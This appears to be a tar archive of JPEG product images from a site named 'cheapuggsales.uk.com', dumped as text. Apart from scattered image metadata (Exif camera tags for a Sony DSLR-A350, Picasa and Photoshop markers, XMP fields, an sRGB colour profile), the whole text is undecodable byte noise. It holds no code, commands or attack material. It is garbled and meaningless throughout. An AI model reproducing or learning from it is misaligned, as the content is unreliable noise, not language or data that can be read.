,!Cv)((>\z͑\j?Mކ~tSRAbR=@D/㰻+}{ɫDWxz|MKEezVYzw$Aզ:"%j*}M!QQvuc'5T09cHmΫ>إ1z'ݕ~ {yɪw+ua6(:sZTT)>vm ]dtz3"}-%Ա+_۞} /Հ\8>Vɗo}5VKa婠L^VJt *<%mb[{CzWőeCO2Ao}sXbhVr TQkJ}8q$1@*ǩ@!H [r@X{պ{{^׺u{{^׺u{{^׺u{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^9"IWLs׺J6V %!rѩ?Rxtv u5Km`8ڀNo6S}׿і㩈€PzEz-m1Km=H:O\ZQkc)EK?OПzҿ:޽x??OI_}^Á}-|lk?N8N7z:j,A7?Oi_N=d}i~qizλm)e1'=kS>ipqR8{[k.۫Oc%pl?}ӮͻNHZaAGUl\u7J_׿io[z 6m??QK}-=ӯ`(Qdm 74qߊ)Lum7QفՋ_SuoO颣6D." 6.>]xLԞ$]R ̰.4n=D){< WžߏO5Rg=F?-(iS{{߂usź544#QaPW}Cz_}?{^"QӪ7}Ohnx/so{^޵O1tnˌ:I&$&ZߦAWcZtTmH*C Ƽ-oR(+שeEœoKm{xWhrFcuKߪ}z\ѮO5?ߪ}z˩ כaEA^sǬ1:z[N>o'O~ēǩK?ߺ\x~mE~d׏\okAāo?׺vj ֟?S׆Ï@=~}vvq6=u!)Ѡmx8uۘQoOOO>sǭO׎0iO^lmk'Tkp/k{Nz^Dh??ǽuҿ{^뗿u{{^׺u{{^׺u{{^׺u{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~cheapuggsales.uk.com/images/20/131542984333.jpg0000777000000000000000000005074211633550305017227 0ustar rootrootJFIF`` zExifII*1 &i2Picasa 3.00210h !t500c68473f483f58a221bca824e969200100 (Z HHJFIFC  !"$"$Cx" >!1AQaq"#2R$4BCr'Sb1A ?ܴD@DDD@DDL(r[qz} 6. >k'jz jCe3wZlkNܻ̪FdMb.'Jmͷ(ak{VfL3YjNq6G^ | t m#%ԩΓ anR8X=O~~ce _=Oem6\ǖmaw6f܅/VЖuY '4W/tqc[(iu}2*>e5Wʿ?Z h7eq<> =5CHNiW%K0ztw{ נ+e]C#udȈ#TWPOE;uEQxk+Kcdjd[vw ݨpϫÏjP<5ߩ*'ӧT4mxQˬw oڰ[sƑߴߟ/oAV>`Je*3[6>`t:,*w4ov\m+\A^O޴Bw'vyyӁ&_a" :K'oRWT02-o~yak5=XVvХqLL 5]X%ÛO eF)sX;oUDE߾nNǗd-Jw?q$wrSidpP)ݸ?ᑉ& nzl*Z}N@Z @V7`ǰ_e6MƳLOq$Co`z-Q`n!ByÆFy[VvȓX,=0DJ.@*;6*cAH@ϫqe0L-'{D1Q-.X""ZR4#q RZFCw4w[O^;(hrSY+YR卸]ǞҵGWHs޼ܛoaQuܡѵu)+$cE )REfDlyysLyQK #V;}D؅FG[, n~?4.˃_cdWm|XN'`>Gjnnf{OUJ9a{Z[^6DD:yXb|W0R@/H7ԞwW85.6;TSYg {dkHFt m殫619 ANg47""13>WdD:W96&/=gTLFq/JsKEs k`|ltmgOj݇aXϊ:&w\cv#ޥt琢6v N'U Xkws?%,[EK5˿ip:H\w7q.6)u7s\5Ria !WlT7IXWrcSL +4Q3[8NߥԶkCpl/h lW8='j_dV6Hj+mc]pױw3ډ]ƬDT,Ӛ2 rIZJ/k]O]kgG7 8EDT c/R[f[btE2 o쳔+s J3tMWS\͑6oklw[!XVd.X fZX_>yE %h1>' 4vOT>^hqIb&;M#QsOB7?E0[(;*&TUe09j|m"` r\vaDW 쑋ZE'܃O0Љ-^󾞗hQ?e Ia&%\j>(ћ ~GL#E .8?V4wA݁j5%쥕5NjS1ҋmf$Er9 v!1QR3DasrI>j숨"",Photoshop 3.08BIMP Picasa 3.0C   %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((h" B!1AQa"q2BR#b$3rCS!1AQa ?J" """ """ """ """ """ """ ,Bh8OJ8|5ZקM bxǴps$w/C}5to!zUa'[{z@+ utKDy4$EZ;[R+h%±q[ie^b&MKOG b_nԪ]_|bMb]LLO;W+7&#*~.Z[.ޯª/UŴ^k!x;UHhZ@]fm*f!" <: in`ᗜ<`HȦHms:AuVcpX4*8eJ5F89ۮ@V>A '8GGؗIY)hj/ 5ly&Gx`@=@[omdmKEaio4O=,Aʛr"u~ >۫MqOKZQƒ*p]-. h؆Opj`Zw|oQ)1$<%|k`qxw@%o` y/鶦 1 pib/ʴĿ>G{]Nk_,i{0xE:T+ x%'ꃑDDD@DDD@DDD@DDD@DDD@DDD@DDD@DDD@DDDA_jK{ep#m  l1iIa$?V14Zr9)p ]ܬ3Wn{ڇ= qhH@wYy)k6٧)lƐ [V)g&\ޡDsAk2 c`{A8*FFK2wWy}tZ1:Fb7n^ q.ps."=5~*b0alK;sHT 1/TfVZqr%MP 8Z#Fm. ~4tv=6֐{D/6I;s-&ٷ-JC>Kg9͝Ѫp3֦@<|sp! y%ڑ39e`i|­2aԤ;k2O K6Y \ qdT,%r6_)sNR@5F8FجMqmh=dQX:%4Ey(s'@:mmHȋ1^DV P6:F881 3:jIX>jB@jdmLw ƐE*t_4I\<^*øgIA$H2oTCX\ ̈knzϒũ$6f8l`YHa7,Oh3X dj6? ?%s1uCsIl\}LM WVG8I{tPb뵅0uMB`"H:֙tq q\_ހx[˚G=믒;=DrxYDUsh $2O%a:ן)%k،@c*s[eIbuL^CQ¿8$-:ؒٓ~[Gh}Z|B 0Z;D Z E^J$fy$b%ZI 6Cd aiIyvh3rhtc& 0aV:z\5:;/8c1pOb閊 \XL~&feV11ێ_M缨ii@>˜MZpc wll6pع+l!nJe+\@:}9UՉ `@&$2?MElaIfQIXU']UdK8Z c]"5ׯ$uG68~ pɷbDd{tZPd]A>k YLZ}g_{IO5= 2 _&`k\`p$ fXc-zQfV/<6bHEv>';$xڳv9eC]CK{Dڅ[HgR=9^Z\v o>RPg[M=/uTx$cVC~߯T 5 H`')MyjeI֖>[.>j WU{ÑhS5uu͡36\ LZǗ3E8줍.4"ʼn%d77Ӫsh'Do0H %Nb9D16bǼL5lc(ФR@n: 8,dyekMy0~ *VDHmm:y+ LRllD|y4H#⚵p0~~B̝/*$zǘRfqeH0#OC;q>$R$ۜ11`K@MD@U 71@u26AB]#-iӸhXi\`lyEW,a֞?qëc\ack;rÍ0CLxf9\)ht<+쳳{1c^mg }h0UpqU25?r߉I8IGJ<݋fmMc?-F@l:<;XrXe<7-=Eǹs XHmny*kH7鯒Fw-3Kc_T3f-γ>Co:X2o|rm1y q64^pI133;j>7 "ſ1k[m<*FQ1ʳ--"dHafK Me~)iR /PG. t-RI so FcAE±$_~`h\IS Z_ˈdE$Oߪ pZ̲smsF%H ]wV4|7"ΓtJg) 9@םuXi/p2d[ MQ[,i. ƃXBH_6}출N8<%*M֬cs cL>?5 ٪X|cM,-&Us/ ?Ч]ze&nDk: u^{=z벽 R%p9tDUDD@DDD@DDD@DDD@DDD@DDD@DDD@DDD@DD߈q q~΁Y+W` W8HUqw(`ǒؘ$u>"6o+pNQ$$ߗ b$Gt2Gχ{jy#yDLqbĂt)j4QFISZfG`:u79s9!?4"Ƙ@hʹRŹH?Usl$~PLjEHMkmG=;`@$OE&7:[e68xN~ EIE`iDD r6 <7q,xio;(q<9斴'Obtc{EQF$>+qg?g03kL6g'+|ԯsRl 4@kD伯ZݳFf?R!c 3mu"""" """ """ """ """ """ """ """ .O#ư <mS`B3x76M綻yzVnW[m4S@xH _\S35#-gh&ϧ_]L n`-\`K!ēHThk 豖0tSq2NREĈ$"2.N䡓15kIQ=>;*IGS~FnSQ!ܤs*N:\nt &@&>¥YA-.y_NkoMQܠ cB|Dk07MiykA$D:PLH؞L@'4G*m0X-&3@uUM/]M& }Q*挢D G.jBI:ߐUj}TZ>h VY`DX15sFa/).4 ~s8Z`rw-*ꓦ&[2/>g:li{3*obݎn$:-򅫘fX6[tFmIDn/UԋZ,w?`ݝqnJ\;bۊV &08\vqF'-&ng뿿 |x6=1q1mgTiuJ̩@7 xJL""""" """ """ """ """ """ """ """ """ F;@  |Tg]s^ZHoQi<|.=5&#쮹H: $#5@E Lyz*]+4͋$aS;',EѩQqz&6! pI$',ٶoÎc1q 5A:kPEUI3anh9\AkI0gCꮮC7U4XPm::I3['[r \` t-$ ꣔HNXCV4Vfic1$ןNh9I0&E$sLaEu6l5rT$0#\-CĮV/ @dWcŌ &oa綫~Ÿ;]n$V͌im2&Kmm`M=.Ȣ"""" """ """ """ """ """ """ """ """ 񷵪5.KndF@}BC|Nov1]udC؃&u/k~4pGH墋0p 8+AWTNa#ydsȚpyj9@E75uQU v:>"0u7\cH9mcm'w{Qq/䝺.\@1HD:b~*bE1ous̛yi꺍$M1mhF Pp"KO%n ꘚ"܇?%AV d'#QQAI֫%ĭ$irJ )eōh-H`zDHH,43O5``d ,qcG+ɍNIAVEWφIon2>\ $@s2LO84G~0;tT/mZXw5]9P_C5c֧J=F Ďl#B"* qT_v:7<$âLiakJ%H>!W{5Z89u=/ H5f"T$6e:h>(AOꬉ{paњ?Dez~7 Ia:D\K:_FaI[Up3 6iXH?|U]t+1~|u) {M4Sǰgh$yAheo2yXss! _*oS"Z-j@Q 4VCyͼg>DH䐴f?5=~JL1s̋~,$$jdk5AÚ Ҧ@ |M;A+vgh{3ȹi!L+f<13=0ۜi\wCF ߄1R_qxx#aWCxJ?\9z,?^R(" """ """ """ """ """ """ """ ""-L~7 4pv{k<1̛.7pW囖:[vˉ87d_uqK35At^8=N+Tc8 ST.cH"-̯N48 j05inA`Kke V xw)M`Q I$D[$hf/TWD-l@4]؂{pe70U܀@lϝHWtV`:g)L$AhR$LX.H2-1~5C=`!5E3Vk#Xt4 ]DkY.6ӘVUHv=7Rp1:VbJm. [*HVbHkɁ{weYqE(wA'R2I%o?=՜Q_1eۘ'o"@yf&"$Zy| gA&xA"`XkvW7? 0d36U o$0M`MrU Dsnkn\z![XGDsӝg0DlR/_丼 4x]RKfݏr`yccOx }gq#\^ yYB"-" """ """ """ """ """ """Eڞ ٺ-8%h; X>~+apרyI]o^_G6Q$V9cIëj=N'1جmY7[ }n3 Ck="y8|'K}j^!UBLa(=7_PveIqvӪ-]Ra ~]I< 385ڃOXzbo|$H:JCIy$ ܈$yY`MsEY0L~N0r e:NUԈ:[K~/u<,(8MdU =#o۰ 频AeY[9p%IYNP[rr$ȉ+*nH̐bAϟhWô^遠bֳ车2ˤzem5-uC^\c DVZ;d0G[[U*:.?E?ăß|"wOCM?UCXalf[k*q:zh i"Nz&gQ3 Y$Ƚ4F yQnRdΞU6s"&ӠY$ؑۺd?^Mf7r?0īWױV1&ے4=.UV2D:[\(mJm5+ 8D ]s|6Lֆs)A{ijs=T*TgvkxI[J" """ """ """ """ """I.ٞwų i?q]skWۮ_5>+)X%+.`u]۟lkԩ7w3`*x-lgĺ]sfse&7'Gnvw}5+ p*xσPU֯wիP~gjThGQ5 2fSYs-V][<*@ĪA7>Lͼ¨ 6Du(`t^0D3FSInO;‰tyߑGً`~S&_XsZkF}T cEHyI XFì~&]H|.I$ fy, XXhPLrג:Ybm#HdonI=|hmHE&0"m}V`nGO5-@`l<iod8M`f. i6(GIiF84H:EE'.'ʠj4>u0Iǻ.;jqG>9.43y]K $6"(JƛZ/F`#e[f#MJ,-M y4=J1Ѡ~bFR@:[ˠWqe2$wgFOڡV<)$ƪ,'5g(5P-?LS H!E*3R-;ȶEOhOq\+TR'p35b>+h2KOILss=ǻ\h5Ӯ wVȞdzc; 1ZR%~keخ_tpTw v0 %Ӯ슪""" """ """ """ """v״.pZGR(Ч|ߙ$JWkKĻQj/YvҤl9L_`>Gk>(R?B#tu.\Ic3V ,:*\8ȹŀQtLIU ӜZ/ϢN$< vAIF*x~uRYQiTh6:Xr=y[s8Lts ,uO! 1K : YЉUdu7fИ^2L'EC6Y("k@"`dd "Aw6s1c3 `묠$b.u1r-&5]3ttt_"HޖQ7@ ֱ/].A3ec5ǗB7od 76h8R5Z1E7xZu; ՛"Rƴ2:$DJ%D l |~ 5Z꘺l9\chcX}AR4xI0@eDZEI<AMHI m<[H;($R3ô9ƣ`%]<`2:XΧǘRx@t&,B`~,ր2Y}f$ͦefsԉ1jS%tn>#ڀC=Hk?qYsVfsə<$JٌG baqYiZu_~W >|S7 ivYEPDDD@DDD@DDD@DDDAF&<5 e*4^h$K~=f"UZ19gX ?u#6_]p +=Zc3Y+| ^hpyD_U-t.6i61dai($FuHiTu]&LNTBEnGD*>#T4y< H1VK3*t‘2-.M.: q1N[D^Ў;5D8 Hjh!&Lܞh lEJ;hMo r5D$o8PxH|[vcDƂ̙< 2$H{o[AFϠO` PnM{tC:c]Ud XFy|Tr}Uy9ۨV:i:obw26t+FhUMp>vS&I7-xV0ms9~SN \u:y,NsfH/=$UUѤ{7Ta ֏St2iA_bd Rx  c(hcfϴ()Cs}/5MJ R %/&bDBF2K ][ ךWEHEU`I;v9Tc0 t[\}&à\ka9e7rG;)G࿠w)8Q{^|_dO OxF*‡ڹb*n@st5X| 4qlgu8>E'\t^}WQPU@ DDyJ4"1L9+a $ǺMX +ЩHCI~WWYwY }ch nRN5[O P6uaI1!Af5dTgR-DX }Ų$m@ ɾ"'{4"& UYwOA1bg`u n] 4Ҳo "-J$R;]JU .aCîRD "U! E4E+v=uB@l7#p b* p@ > -qEżn4 8mB3]zko.Gm Ah1j\K~Vҭak2L&/="돯p9F\{GrmBt xCI-Q&`AJ7W<}­9 q6ۯ0#-{fZy]D9ӡ\̦i%\(6gL5fq'Y,\JZKO[(;NsMT*HaR-h8*@+Xv`\y؛a m+) m>(ؙ_5-pO>!-PIukNihxO 9c\tF|04NpNvQ-sI6rEDas}tAsh4"#o,1&-Kh.{r\۹ÔnPS ϊ~%rlZ@}ԅ8>鈼m47]`&DXIKb&T' !ˍAe6uIt_puyEM̎G(5 ud7>Cd`)m6,M  $; +_!0wLP"⾓=i:%$^ rE& 3r& E`qnȟQ1ΓY'.[tS{|RHlR5˭/UI4Z nx&4Ucj1{CCD9)f'1Bꗳ,E '}|3x Ɩ [Ls k@W, j{9|02uW`IF-Y%-^do15bucaZgjRm7EE:/% 0uCplvfřhseh܃ >c(DQi:uT-LGa$u*w]4mTF2IeA9*ֆH-'Q5IQV,K:tX(E[V7/6߶ѶkaƵ<_mQ'A 1IZ40}.id[] UlFEl9*mZ]'A;ցp?@V{K#3|~ ~~7p~*SvxFB)S˘\F]1o07Z)աMiD.@ I_Uگ9]I0xN5a5ӥ&.sD@lI_@ ULEBCŬF%ui=?v\>qShi'@]}bǙL"Oފ ;%*mhlצ2DZTA~`{-as&amk ym< I6?;v . uL5,(qs3ݝĿغ=."FUTp&}AR7'N^:׭Z)2ƽspw v5k;ݧyx!2|Z䯪gb{UjW -14H:»+Ǹ3p^%ptC9Hț'eG$)ЩSun<k#M$.Kp)Tn;>u@3=H6MI|`d3l >-?Ґm?g[ӶkHDM6yS`fӪ:iF/\bzVkd;:6 @?ĺnﱞS%0xfp縶#_2 k@$AHェڝWAR\;6y8Mw x+9KQmWzX)SS{\CPx&n\$Ŏ={Sv=Po}6-~{r$ƱXcA$ {{l=wƿ tcj)V;QmzS EaMZ6,8NhUƖ`ۯH-x/FvZ8s5 r~)7t_Ua=,]a_8UW'V?Q%j& g*zZc 4F)cYM5h4lV@DEAUSQ򽠄DS`m64@V" ""/.ƩSxf 27ACO1[8 ap8z8l5&F ghHQ" """ """ """ ""cheapuggsales.uk.com/images/20/131474634456.jpg0000777000000000000000000061161611633550305017234 0ustar rootrootJFIF ExifII*   (12|itSONY DSCSONY DSLR-A350Adobe Photoshop CS Windows2010:12:30 15:19:26PrintIM03004 ' ''''^'''' "'d0221 2 : BJ  R@Z0100<  d 2010:10:20 04:56:162010:10:20 04:56:16d d R980100 ( HHJFIFHH Adobe_CMAdobed            x" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%)$)9 $X1vwnM5ߜ ;;RGj*ɝ#96s\tKum qpߴkm~wHqx 'MH'1I$$I)I$JRhNJZ$TI%)W˳`~L@V.[[{>))v[Lۺ%yigs m!RM:Ǩ7f ERtI$)$IJI$RI$I%?TI%)$s,5b_h0Y[:I<9Unmp5w]ݫ_2F69HC{{>ٕ_HmE}:6z{Wt("QK/Xed.נsdX҃髭Z*ocMZAdkӰkv<~klߎϷ:;Ҁ0j/i -VC}@CD/nwUq~]dos?7bh9ڞ@Txhcm_Dm ~ރWZ\A|Zhm :\{%Ï.tn{}Υe,-;la#_}4DV9bKX:&>&gOn;2[ǸYm5Y5u7"\]( #x}xq>;z CHh-ڡt8t3#MYcsHsPc)x?JI$TI%)sY/ݙ]3E\oPe]k/q=;YZj5ݓ_f֌w3-s!8U82I4>+ vX®ͬ/cc{Ɨ1b'hpi, R1KhޜZ<@B|Ls(WcK94qr.dn͍?Ad}Bmc]ͦJ{k/FB]= p+w#Z1cAa֫v$@;wZt~۪\u%k7m6kvU_~D=JQT ]X{$5ۋ;%e6+tfߤJ] 9\½QOÈ Gv)E$L}[q:]wՓ nu5o]7\NӇЯƨ^#|@޶Es\Kه~&D ZhVUdXk]]{?=ݍk?1Ѫj"uG,٨^x~<^hn@,sKzAZ4\ʟ֯xie$ܬ jsw |A9`9D/h>/8Л]%8{\ٟ1|~cUΧR8_Iud?.4x?[P=FFӨ:4WUziy<5o':͠zWm;"Ǔ+KgÅGLݨ]?fk;{|^Smdd%hr(Y1tvX87/gn&+Fm_lzG',|yޙZ|Fj(A̚[`Ӎc8ǯTAX~EoLaV;<ޡK~F@jd`or"]GF=,J: TI$Tʩ$ꤗʩ$Otz+P`FW)$Ժ>k]N{$$aΗp$7{VtsсiqKH kNC: /~n!sKNVm/RIOI/RIOI/RIOI/RIOI/RIOPhotoshop 3.08BIMxSONY DSC8BIM%&Ɖֈ/+A8BIM8BIM&?8BIM 8BIM8BIM 8BIM 8BIM' 8BIMH/fflff/ff2Z5-8BIMp8BIM@@8BIM8BIMu kids Classic Short Rose Red01_06nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM x JFIFHH Adobe_CMAdobed            x" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%)$)9 $X1vwnM5ߜ ;;RGj*ɝ#96s\tKum qpߴkm~wHqx 'MH'1I$$I)I$JRhNJZ$TI%)W˳`~L@V.[[{>))v[Lۺ%yigs m!RM:Ǩ7f ERtI$)$IJI$RI$I%?TI%)$s,5b_h0Y[:I<9Unmp5w]ݫ_2F69HC{{>ٕ_HmE}:6z{Wt("QK/Xed.נsdX҃髭Z*ocMZAdkӰkv<~klߎϷ:;Ҁ0j/i -VC}@CD/nwUq~]dos?7bh9ڞ@Txhcm_Dm ~ރWZ\A|Zhm :\{%Ï.tn{}Υe,-;la#_}4DV9bKX:&>&gOn;2[ǸYm5Y5u7"\]( #x}xq>;z CHh-ڡt8t3#MYcsHsPc)x?JI$TI%)sY/ݙ]3E\oPe]k/q=;YZj5ݓ_f֌w3-s!8U82I4>+ vX®ͬ/cc{Ɨ1b'hpi, R1KhޜZ<@B|Ls(WcK94qr.dn͍?Ad}Bmc]ͦJ{k/FB]= p+w#Z1cAa֫v$@;wZt~۪\u%k7m6kvU_~D=JQT ]X{$5ۋ;%e6+tfߤJ] 9\½QOÈ Gv)E$L}[q:]wՓ nu5o]7\NӇЯƨ^#|@޶Es\Kه~&D ZhVUdXk]]{?=ݍk?1Ѫj"uG,٨^x~<^hn@,sKzAZ4\ʟ֯xie$ܬ jsw |A9`9D/h>/8Л]%8{\ٟ1|~cUΧR8_Iud?.4x?[P=FFӨ:4WUziy<5o':͠zWm;"Ǔ+KgÅGLݨ]?fk;{|^Smdd%hr(Y1tvX87/gn&+Fm_lzG',|yޙZ|Fj(A̚[`Ӎc8ǯTAX~EoLaV;<ޡK~F@jd`or"]GF=,J: TI$Tʩ$ꤗʩ$Otz+P`FW)$Ժ>k]N{$$aΗp$7{VtsсiqKH kNC: /~n!sKNVm/RIOI/RIOI/RIOI/RIOI/RIO8BIM!SAdobe PhotoshopAdobe Photoshop CS8BIMhttp://ns.adobe.com/xap/1.0/ 1/100 200/10 1 0221 2010-10-20T04:56:16+08:00 2010-10-20T04:56:16+08:00 8/1 225/100 0/10 497/100 2 0 400/10 0100 1 640 480 3 1 0 1 0 60 0 2 0 0 100 False 0 2 False False SONY DSLR-A350 1 150/1 150/1 2 2 2010-10-20T04:56:16+08:00 2010-12-30T15:19:26+08:00 2010-12-30T15:19:26+08:00 Adobe Photoshop CS Windows adobe:docid:photoshop:8f77a7ba-3599-11df-a669-9752fc448d80 image/jpeg SONY DSC XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)KmAdobed@P     u!"1A2# QBa$3Rqb%C&4r 5'S6DTsEF7Gc(UVWdte)8fu*9:HIJXYZghijvwxyzm!1"AQ2aqB#Rb3 $Cr4%ScD&5T6Ed' sFtUeuV7)(GWf8vgwHXhx9IYiy*:JZjz ?ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~u~mo~׺u{u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^Ͽu_~q*?#׺Q['ߺ\tߺ^*{^ ߺ]?{^s{#"_ߺ\}u~{ߺ^޿^׺ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~tH_~{P{)/ߺ]^`_'$׺`o9r@q?ߺ\?{(M{A^_~Qcߺ]^׺<om{^GkߓӁߺ^2@?-{A?׺ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽uVK {^Aߺ\Lfߺ\t?ߺ]{^׺u u9xߺ\ {/~uO{^~ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^E'{,E/?~׺㨵ǤqbOϿu)/'{Mבߺ^aS?K~dA~a -<{s{{^KΑC77}ux7qKjI?,=uemОmu #-~g-<Qk}-^q?{u;n׺n?O׺ s{j8G~ǿuɷ׺Vk_~v?pԯ~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^EA{^O^녏?u׿u{{^뎟?[~׺quyE2x짟X4o8@YX XՍ;+>;Jז@3Җ9N̆XAOjVT OcR=E,jIRxku\ӅzhA#Td2NS#G#yߚZd^Z gHWajTɤ?/׼2r8tB@7$q\~= z#)v eA[M_~>`F5O7%~cA^Yb\~H$jǿϯ#$k7~}qA{okx6emG?_ϿuG!C~zGԟ~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~uao~u߿u?E?G{:Ocx{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺXo `H?{^; ^K-s{ 4rl$_~xyAskM=u{}^~~׺eU\sk.^ u+ST-4OPHJ+m,uա hGӫ!PXUkߑM% M.BK sP_4Wj#I+zT^[{ _΅h Էu W b4"WEhG57zLfd m<e!+AOU "zFo2_H GtI8+b 9D!Ԩ$,A7hAbIZC>_tmr)AԼ򣠋U0,ҧE 񮛳3Qa퇸%8#ϫA<_=0a{j?>R1qm" *8O8!|}7T53pu+a&y >i*3N*[!#ۂC/s{T/[IS; aH8yf0 k$r!$?+~ ?ӟjH%=?>x񕘵3FI0;t/aOQNMD;#åYA$~yK#ڎuF 6%ǂA{׺ n ٿ${^ߑ->׺j[$^?ߺ\u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ]=uչ~GϿuߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺPr$am@o{iԢ:~n>[ߺ]lA\u,H?H?UNhm`.?H?^P[.<_׺D 7(f\@5$M5-ThL22l aIPq]ݓkȀH6|vm>w~RQ B^<^xK MX*jF;ݿ]F<< zÿrĆtVIMZZE=AV yJM[gi&śVGVkk$uPO$ՐSfiky Gi$9j-1Tcj8c'Zs$4i<1-Cr#k[k_VʃRȒ@`Oz,ŏ85]mjGQMDDm\zI*!5tjK4sH%!Zҧ|koC4Gu*ԃZzTӥ~^~ ^gl.2*w۹'WWab h~d':XZ_qmwp٢BF>c}37$n=@!2\pe~ DӽpB{fKkSfS횦X䮬QHcɊT5DVKAɼGP+Z":۩#770S}sF\@ ]3L|x%T"JĂk,H0UlIC\^O(+)۟t>DZZYT\j5gMAJS#ӣӿ&3mL2+TD,N*CyJ"DJ#pO;}uIBI>D0[Iqy`ZP-unWMG:7!MS>Q<F0F!$h)@iysAX%Y@&HGu:=n'84RUakE_؈ՎIO]FJIehHjI8?/ӲaKPE g?Z_װ _guW6׺ȗx}>{Sb ^ױ?~a>{y_{P=M \G~=u?ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺMfq-*Wa<רp8ߺ^O$$~sF@kp? {^4fM/ʀ 8uU]𸹰#ߺN?~qVNv?KK}u~I?ߺX,lږПϿu㦪l=mEe4=\a&8$x|qf&S?]X I*?qǏUrv7Y`sWdFM錯h#ØfiC-$ΒH t;!vx#7uS2<~ΤB绾]K^MLG %jpU?g{ŗ5q`y&ɸu[9KKWe*)]$H,x幞Ub¡"iS2XޑYem,KW4a$)=Jۿʷ#3 YAv kjb'elyYZB㌡\^vs_GӒa?Vf*殞_pap}˶ab1£+Tܔ{viP՜-vo!$1!geG aۥ#UBUjsE|F:GzzQj2Vm6(puy1OLt߹mw@ݶ/]=kw )2AN>l'TK#|-%*Jos׽FNm%, Lc79v)kSwItij Ausv;f6tѦXPu /0riKkGSgVCǶ[ r6B՛B::ﰋ7ՏV e4TLe{Fk;X-\z׏!7rե[] LzAz ~&uz_F_zoalL5h;sOGVdj$'Vcদ ?BJKqnVߏz-o}Hz)Aozovܹj\U<ɫX W~]\椮O*҉\*kX.ZhR1ˣ ]&V@ h4,dk{>CJJ.RxG#bBoq,mߛ tz=Xw mM5YHEB*sմA^#XjUH@X&ְ{:!kQ=oA.OFrU 䍌l0Ԧ 